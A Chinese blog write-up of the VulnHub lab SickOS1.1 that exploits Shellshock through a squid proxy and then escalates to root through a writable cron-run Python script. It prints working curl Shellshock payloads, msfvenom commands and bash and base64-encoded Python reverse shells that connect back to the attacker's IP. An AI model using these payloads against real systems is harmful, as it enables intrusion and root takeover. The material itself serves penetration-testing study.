红队打靶:SickOS1.1详细打靶思路之shellshock漏洞利用(vulnhub)

目录

 写在开头

 ​第一步:主机发现和端口扫描

 第二步:shellshock漏洞发现

 第三步:shellshock漏洞利用

 第四步:定时任务提权

 总结与思考

写在开头

本文依旧是红队笔记大佬打靶的思路与过程复现。讲述了SickOS1.1靶机的详细打靶思路,与上篇博客不同,本文主要是使用了shellshock漏洞利用的思路,涉及的知识点包括,nikto扫描、shellshock漏洞利用、msfvenom生成payload、定时任务提权等。完整打靶视频详见:

「红队笔记」靶机精讲:SickOS1.1 - Shellshock原理和利用过程精讲_哔哩哔哩_bilibili

采用squid代理分析+web渗透cms后台获取root权限的思路详见我的上一篇博客:

红队打靶:SickOS1.1详细打靶思路之squid代理分析

扫描二维码关注公众号,回复: 15513830 查看本文章

本文针对的靶机源于vulnhub,详情见:

SickOs: 1.1 ~ VulnHub

靶机下载链接见:

https://download.vulnhub.com/sickos/sick0s1.1.7z

 第一步:主机发现和端口扫描

 这一步直接参照上一篇博客,链接如下:

红队打靶:SickOS1.1详细打靶思路之squid代理分析

得到靶机的ip是192.168.200.141,开放的端口是22和3128,还有一个关闭的8080端口。kali主机的ip是192.168.200.131 。上一篇文章已经详细讲述了扫描过程,这里不再重复。

第二步:shellshock漏洞发现

用nikto对靶机进行扫描。nikto是一个用于网页服务器漏洞扫描的工具,是kali中自带的。在上一篇博客中我们已经知道扫描时必须使用http代理,因此我们使用代理192.168.200.141:3128对靶机192.168.200.141进行扫描,命令如下:

nikto –h 192.168.200.141 –useproxy http://192.168.200.141:3128

扫描结果发现在路径/cgi-bin/status目录下存在shellshock漏洞。shellshock是一个有关bash的漏洞,也称为Bashdoor。其实我也不是很了解,百度百科简单搜索结果如下:

百度百科之Shellshock漏洞

 我们试图用curl发送请求进行验证,命令如下:

curl -v --proxy http://192.168.200.141:3128 http://192.168.200.141/cgi-bin/status -H "Referer:() {  test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"

 说实话,我之前也不太了解这行命令的详细意义,红队笔记大佬说只要记住就行了,或者网上搜一下。我这里搜索之后把具体命令参数的含义解释如下:

  • curl: Curl是一个命令行工具,用于发送HTTP请求和获取相应的数据。
  • -v: 这个选项表示在执行请求时显示详细的输出,包括请求头和响应信息。
  • --proxy http://192.168.200.141:3128: 这个选项指定了使用代理服务器进行请求。代理服务器的地址是192.168.200.141,端口是3128。这是为了通过代理服务器发起请求,可能是为了绕过某些防火墙或进行中间人攻击。
  • http://192.168.200.141/cgi-bin/status: 这是要请求的URL地址。192.168.200.141是目标服务器的IP地址,/cgi-bin/status是目标服务器上的一个CGI脚本路径。
  • -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit": 这个选项指定了一个自定义的请求头"Referer"。Shellshock漏洞可以通过构造恶意的Referer头来执行任意命令。在这个例子中,构造的Referer头包含了一段Shellshock的Payload,以执行/usr/bin/id命令并打印当前用户的身份信息。

 结果如下,成功回显了id信息,说明确实存在shellshock漏洞

 第三步:shellshock漏洞利用

接下来我们利用shellshock这个漏洞,用msfvenom生成反弹shell到kali(192.168.200.131)的443端口的命令。Kali中的msfvenom取代了msfpayload和msfencode,常用于生成后门木马。生成bash反弹shell命令的如下:

msfvenom -p cmd/unix/reverse_bash lhost=192.168.200.131 lport=443 -f raw

-p表示指定需要使用的payload(攻击荷载),这里使用反弹的bash的shell,即reverse_bash;-f 指定输出格式,这里使用源码格式raw。lhost和lport表示反弹shell的ip和端口,此处是kali的ip和一会开启nc监听的443端口。生成后的命令如下:

 读者不用看前面一大堆warning,反正成功生成了payload就行,关键信息如下:

Payload size: 78 bytes

bash -c '0<&120-;exec 120<>/dev/tcp/192.168.200.131/443;sh <&120 >&120 2>&120'

关键是引号里面的内容(即0<&120-;exec 120<>/dev/tcp/192.168.200.131/443;sh <&120 >&120 2>&120),一会要放入curl构造的payload命令中。先在kali中开启监听443端口。

nc -lvnp 443

 然后使用curl命令执行payload,其实这里和之前shellshock验证时的格式基本一致,无非是将命令执行的语句修改为反弹shell的payload,完整命令如下:

curl -v --proxy http://192.168.200.141:3128 http://192.168.200.141/cgi-bin/status -H "Referer:() {  test;}; 0<&120-;exec 120<>/dev/tcp/192.168.200.131/443;sh <&120 >&120 2>&120"

运行此命令后,我们看看nc监听的443端口是否拿到了反弹shell:

监听的端口并没有收到反弹shell,显示没有对应的目录,因此要把命令中的sh写为完整路径/bin/bash,我们先重启一个监听:

 接下来另一个终端重新构造curl命令,将sh改为/bin/bash,完整的命令如下:

curl -v --proxy http://192.168.200.141:3128 http://192.168.200.141/cgi-bin/status -H "Referer:() {  test;}; 0<&120-;exec 120<>/dev/tcp/192.168.200.131/443;/bin/bash <&120 >&120 2>&120"

回到监听的443端口,发现成功拿到了一个shell,运行命令whoami,可知这个shell是www-data,结果如下:

 感觉拿到www-data的shell的交互性不是很好呀,我们先用dpkg –l看一看有没有python,试图使用python获得交互性更好的shell。

dpkg –l

 发现是有的,而且安装了一大堆服务,我们试图用python获取交互性更好的shell:

python -c "import pty;pty.spawn('/bin/bash')"

 不错,这样至少能看到当前用户和所在目录了。我们查看www-data的权限,命令是sudo -l ,结果他让我们输入密码,咱不知道www-data这个shell的密码,此路貌似不通。

第四步:定时任务提权

我们已经拿到了www-data的shell,接下来就是想办法提权为root。我们只能先在www-data的shell中看看有哪些信息可以利用。www-data一般是网站的权限,先看看网站跟目录/var/www/中有什么吧。

cd /var/www/
ls

 在网站的根目录有index.php,robots文件,这都很常见,同时还有一个名为wolfcms的文件夹,看过上一篇博客的话也很容易得知这就是一个部署的cms,也很常见。还发现一个有点奇怪的connect.py,打开看看,并查看他的权限:

cat connect.py

 这个python文件就是打印两句话,直译一下:我尝试进行频繁的(周期性的)连接。你可能想试试这个服务。同时查看这个connect.py文件的权限,发现竟然是777权限,周期性的连接,这提示我们去寻找crontab定时任务。进入etc目录后,查看定时任务crontab,很遗憾,没看出来啥

 那我们搜索搜索有没有其他定时任务,一般以cron开头:

cat cron*

发现除了crontab之外,还有几个目录,我们一个一个看,先看cron.d:

cd cron.d
ls -liah

 发现有三个文件,.placeholder,automate,php5。我们挨个看,先看.placeholder

,placeholder告诉我们不要编辑或删除这个文件,那咱就别管他了。再看下一个automate:

 发现这是个定时任务,会以root身份每分钟执行connect.py文件,这个connect.py就是我们刚刚给我们提示的文件,因此我们想到了提权的方法,在connect.py文件中添加payload反弹shell,因为会定期执行,我们只要等待定时任务执行即可。那么,就需要生成python中的反弹shell的payload,还是用msfvenom,这回-p指定获取python的反弹shell,命令如下(反弹到444端口):

msfvenom -p cmd/unix/reverse_python lhost=192.168.200.131 lport=444 -f raw

将引号中的内容复制:

exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgICAsIHN1YnByb2Nlc3MgICAgLCBvcyAgICAgIDsgICAgICAgaG9zdD0iMTkyLjE2OC4yMDAuMTMxIiAgICAgIDsgICAgICAgcG9ydD00NDQgICAgICA7ICAgICAgIHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCAgICAsIHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgICAgIHMuY29ubmVjdCgoaG9zdCAgICAsIHBvcnQpKSAgICAgIDsgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICwgMCkgICAgICA7ICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICAsIDEpICAgICAgOyAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgLCAyKSAgICAgIDsgICAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp')[0])) 

然后终端开启监听444端口:

nc –lvnp 444

 回到www-data的shell中,在/var/www/connect.py文件中添加msfvenom生成的payload。由于这个shell交互性还是差,vi或vim工具太难用了,因此我直接追加命令到connect.py,运行命令的目录是/var/www

echo "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgICAsIHN1YnByb2Nlc3MgICAgLCBvcyAgICAgIDsgICAgICAgaG9zdD0iMTkyLjE2OC4yMDAuMTMxIiAgICAgIDsgICAgICAgcG9ydD00NDQgICAgICA7ICAgICAgIHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCAgICAsIHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgICAgIHMuY29ubmVjdCgoaG9zdCAgICAsIHBvcnQpKSAgICAgIDsgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICwgMCkgICAgICA7ICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICAsIDEpICAgICAgOyAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgLCAyKSAgICAgIDsgICAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp')[0]))" >>connect.py

没有报错,我们再cat connect.py看看是否追加成功:

 等待最多1min(定时任务的周期为1min),即可在刚才监听的444端口拿到root的shell。

 同样,这个shell的交互性也很差,我们还是用python提高交互性:

python -c "import pty;pty.spawn('/bin/bash')"

 这样就成功了,发现当前目录(也就是/root)有a4d51874464078c618298b1367.txt,这就是flag。至此,打靶完成。

总结与思考

相比于上一篇使用squid代理分析+wolfcms登录后台的渗透方式,本文使用shellshock漏洞利用的思路我感觉更加清晰明确,渗透过程也减少了一些偶然运气成分。最后提权的部分使用了定时任务,从connect.py中原本存在的两行打印的提示信息我们也可以猜测,这正是靶机作者提示我们的思路。这个靶机也不复杂,完整总结一下本文的打靶思路:

1.主机发现和端口扫描。同上一篇博客。

2.漏洞扫描/验证:使用nikto扫描发现有shellshock漏洞,并使用curl请求验证了漏洞确实存在,可以远程代码执行。

3.漏洞利用:用msfvenom生成反弹shell的payload,成功获得初始立足点www-data的shell。

4.提权:发现奇怪的文件connect.py,提示我们查看定时任务。我们成功发现/etc/cron.d/automate中发现会以root权限每分钟运行connect.py。因此构造在connect.py中追加我们的反弹shell命令,即可获取root的shell。

 在整个打靶过程,有些涉及到经验的命令是需要我们记住的,比如如何使用curl命令检测shellshock漏洞,如何用msfvenom生成payload,如何用python获取交互性更好的shell等等,或许孰能生巧,跟着大佬慢慢学,总是能慢慢积累经验的。希望自己早日学有所成吧

 我也是个刚刚开始入门网安的菜鸟。如果读者觉得我写的总结不错的话,恳请点赞多多支持。有针对靶场及漏洞的相关问题也可以在评论区指出,我一定知无不言。后续的博客中,我也会把我学习网安的各种知识分享出来,也见证自己的学习之路。

猜你喜欢

转载自blog.csdn.net/Bossfrank/article/details/131101401